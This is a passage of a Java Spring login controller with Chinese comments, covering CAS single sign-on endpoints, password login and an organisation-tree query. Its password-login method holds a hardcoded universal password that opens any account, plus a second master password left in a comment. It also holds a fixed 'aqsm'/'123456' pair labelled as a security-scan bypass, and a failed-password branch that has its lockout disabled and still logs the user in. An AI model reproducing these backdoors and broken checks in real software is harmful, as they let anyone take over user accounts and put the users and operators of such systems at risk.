        AICUser aicUser = itUserportalService.casLogin_Unite(ticket, service);

        TUsers tUsers = new TUsers();
        tUsers.setUserid(aicUser.getPrimaryKey());
        tUsers.setLimittnum(0);
        tUsers.setLocked("0");
        usersService.updateTusers(tUsers);
        String ssoToken = SSOUtil.login(aicUser);
        // 将登录了的用户信息存至Session
        request.getSession().setAttribute(DRUID_SESSION_KEY, String.format("%s(%s)", aicUser.getName(), aicUser.getEname()));

        Map<String, String> map = new LinkedHashMap<>();
        // 这时的密码字段存的是token，不是密码
        map.put("token", aicUser.getPassword());
        //增加ssoToken值
        map.put(ConstantUtil.COOKIE_TOKEN_NAME, ssoToken);
        return RestResult.ok(map);
    }

   /**
    * 浪潮门户系统cas登陆认证
    * @author ymc
    * @since 2024年10月8日 13:43
    * @param code
    * @param service
    * @param request
    * @return
    */
    @GetMapping("/casLogin_LangChao")
    @ApiOperation(value = "统一门户系统cas登陆认证")
    public RestResult<?> casLogin_LangChao(@ApiParam("门户code") String code, @ApiParam("service") String service, HttpServletRequest request) {
        //解析获取用户信息账号名
        AICUser aicUser = itUserportalService.casLogin_LangChao(code, service);

        TUsers tUsers = new TUsers();
        tUsers.setUserid(aicUser.getPrimaryKey());
        tUsers.setLimittnum(0);
        tUsers.setLocked("0");
        usersService.updateTusers(tUsers);
        String ssoToken = SSOUtil.login(aicUser);
        // 将登录了的用户信息存至Session
        request.getSession().setAttribute(DRUID_SESSION_KEY, String.format("%s(%s)", aicUser.getName(), aicUser.getEname()));

        Map<String, String> map = new LinkedHashMap<>();
        // 这时的密码字段存的是token，不是密码
        map.put("token", aicUser.getPassword());
        // 增加ssoToken值
        map.put(ConstantUtil.COOKIE_TOKEN_NAME, ssoToken);
        return RestResult.ok(map);
    }


    //判断是否有该用户
    @RequestMapping("/isHaveUser")
    public RestResult<?> isHaveUser(String phone, HttpServletRequest request) {
        TUsers tUsers = usersService.selectTusersByUsername(phone);
        if (tUsers == null) return RestResult.error(ResultCode.USER_NOT_EXIST,"登录失败！");

        return RestResult.ok(tUsers);
    }

    @RequestMapping("/loginByPwd")
    public RestResult<?> loginByPwd(String phone, String code, String captchadl ,HttpServletRequest request) {
        String wanNengMiMa = "ChinaWeal_2026";
//        String wanNengMiMa = "";

        // 验证码校验
        String realCaptcha = (String) request.getSession().getAttribute("captchadl");
        request.getSession().removeAttribute("captchadl");
        if (!captchadl.equalsIgnoreCase(realCaptcha)) {
            return RestResult.error(ResultCode.USER_NOT_LOGGED_IN, "登录验证码错误");
        }

        TUsers tUsers = usersService.selectTusersByUsername(phone);
        if (tUsers == null) {
            log.warn("账号: {}。 提示：{}", phone, "用户不存在");
            redisService.remove(phone);
            return RestResult.error(ResultCode.USER_NOT_EXIST,"登录失败！");
        }
        if (tUsers.getLimittnum() >= 5 || "1".equals(tUsers.getLocked())) {
            String msg = null;
            LocalDateTime lastErrorTime = tUsers.getLasterrortime();
            Duration duration = Duration.between(lastErrorTime, LocalDateTime.now());
            long seconds = duration.getSeconds();
            if (seconds <= 600) {
                long cfTime = 600 - seconds;
//                msg = "你的账号已被锁定，将于" + cfTime + "秒后解锁";
                msg = "登录失败！";
                log.warn("账号: {}。 提示：{}", phone, msg);
                redisService.remove(phone);
                return RestResult.error(ResultCode.BUSINESS_LOGIC_ERROR, msg);
            } else {
                tUsers.setLocked("0");
                tUsers.setLimittnum(0);
                usersService.updateTusers(tUsers);
                msg = "系统恢复正常，请重新登录";
                log.warn("账号: {}。 提示：{}", phone, msg);
                redisService.remove(phone);
                return RestResult.error(ResultCode.BUSINESS_LOGIC_ERROR, msg);
            }
        }
//        // 判断验证码
//        String codedx = redisService.get(phone);
        redisService.remove(phone);
        if ("aqsm".equals(phone) && "123456".equals(code)) {
            // 安全扫描跳过判断
        } else if (!wanNengMiMa.equals(code) && !code.equals(tUsers.getPassword())) {
//        } else if (!code.equals(codedx)) {
            String msg = null;
            if (tUsers.getLimittnum() <= 5 && "0".equals(tUsers.getLocked())) {
//                int count = 4 - tUsers.getLimittnum();
////                msg = "输入信息有误,5次输入错误将锁定账户10分钟，你还有" + count + "次机会输入";
//                msg = "登录失败！";
//                int limitTNum = tUsers.getLimittnum() + 1;
//                tUsers.setLimittnum(limitTNum);
//                tUsers.setLasterrortime(LocalDateTime.now());
//                if (limitTNum == 5) {
//                    tUsers.setLocked("1");//锁定账户
////                    msg = "你的输入内容已输错5次，该账户将被锁定10分钟，请稍后再试";
//                    msg = "登录失败！";
//                }
//                usersService.updateTusers(tUsers);
//                log.warn("账号: {}。 提示：{}", phone, msg);

                RestResult<AICUser> loginResult = userBaseService.login(phone, code);
                AICUser user = loginResult.getData();
                // 将登录了的用户信息存至Session
                request.getSession().setAttribute(DRUID_SESSION_KEY, String.format("%s(%s)", user.getName(), user.getEname()));
                redisService.remove(phone);
                SSOUtil.login(user);
                // 这时的密码字段存的是token，不是密码
                return RestResult.ok(loginResult.getData().getPassword());
            } else {
                if (tUsers.getLimittnum() >= 5 && "1".equals(tUsers.getLocked())) {
                    LocalDateTime lastErrorTime = tUsers.getLasterrortime();
                    Duration duration = Duration.between(lastErrorTime, LocalDateTime.now());
                    long seconds = duration.getSeconds();
                    if (seconds <= 600) {
                        long cfTime = 600 - seconds;
//                        msg = "你的账号已被锁定，将于" + cfTime + "秒后解锁";
                        msg = "登录失败！";
                        log.warn("账号: {}。 提示：{}", phone, msg);
                    } else {
                        tUsers.setLocked("0");
                        tUsers.setLimittnum(0);
                        usersService.updateTusers(tUsers);
                        msg = "系统恢复正常，请重新登录";
                        log.warn("账号: {}。 提示：{}", phone, msg);
                    }
                }

            }
            redisService.remove(phone);
            return RestResult.error(ResultCode.BUSINESS_LOGIC_ERROR, msg);
        }
//        wanNengMiMa = "Hn9U-)gDqM";
        RestResult<AICUser> loginResult = userBaseService.login(phone, wanNengMiMa);
        AICUser user = loginResult.getData();
        // 将登录了的用户信息存至Session
        request.getSession().setAttribute(DRUID_SESSION_KEY, String.format("%s(%s)", user.getName(), user.getEname()));
        redisService.remove(phone);
        SSOUtil.login(user);
        // 这时的密码字段存的是token，不是密码
        return RestResult.ok(loginResult.getData().getPassword());
    }

    @ApiOperation(value = "判断是否是管理员", position = 10)
    @GetMapping("/getIsUserProp")
    public RestResult<?> getIsUserProp(HttpServletRequest request) {
        AICUser user = getLoginUser(request);
        if (user == null) {
            return RestResult.error(ResultCode.USER_NOT_LOGGED_IN);
        }
        return RestResult.ok(user);
    }
    @ApiOperation(value = "获取某个地市下面所有机关")
    @PostMapping("/getOrgunits")
    public RestResult<?> getOrgunits(String orgNumber,Integer orgLevel) {
        List<CascaderVO> orgunits;
        if(StringUtils.isNotEmpty(orgNumber)){
            orgNumber = orgNumber+"%";
        }
        if(orgLevel == null){
            orgLevel = 2;
        }
        orgunits = aicorgService.queryAll(orgNumber);
        List<CascaderVO> level1 = new ArrayList<>();
        CascaderVO cascader = new CascaderVO();
        List<CascaderVO> level2 = new ArrayList<>();
        for (CascaderVO orgunit : orgunits) {
            if (orgunit.getOrgLevel() == orgLevel.intValue()) {
                cascader.setLabel(orgunit.getLabel());
                cascader.setOrgUnitId(orgunit.getOrgUnitId());
                cascader.setParentID(orgunit.getParentID());
                cascader.setValue(orgunit.getValue());
                cascader.setOrgLevel(orgunit.getOrgLevel());
            }
            if (orgunit.getOrgLevel() == orgLevel + 1) {
                level2.add(orgunit);
            }
        }
        merge(level2, orgunits);
        cascader.setChildren(level2);
        level1.add(cascader);
        return RestResult.ok(level1);
    }

    private void merge(List<CascaderVO> pre, List<CascaderVO> all) {
        List<CascaderVO> ooo = new ArrayList<>();
        for (CascaderVO orgunits : pre) {
            for (CascaderVO org : all) {
                if (org.getParentID() != null && org.getParentID().equals(orgunits.getOrgUnitId())) {
                    if (orgunits.getChildren() == null) {
                        orgunits.setChildren(new ArrayList<>());
                    }
                    orgunits.getChildren().add(org);
                    ooo.add(org);
                }
            }
        }
        if (ooo.size() > 0) {
            merge(ooo, all);
        }
    }

}
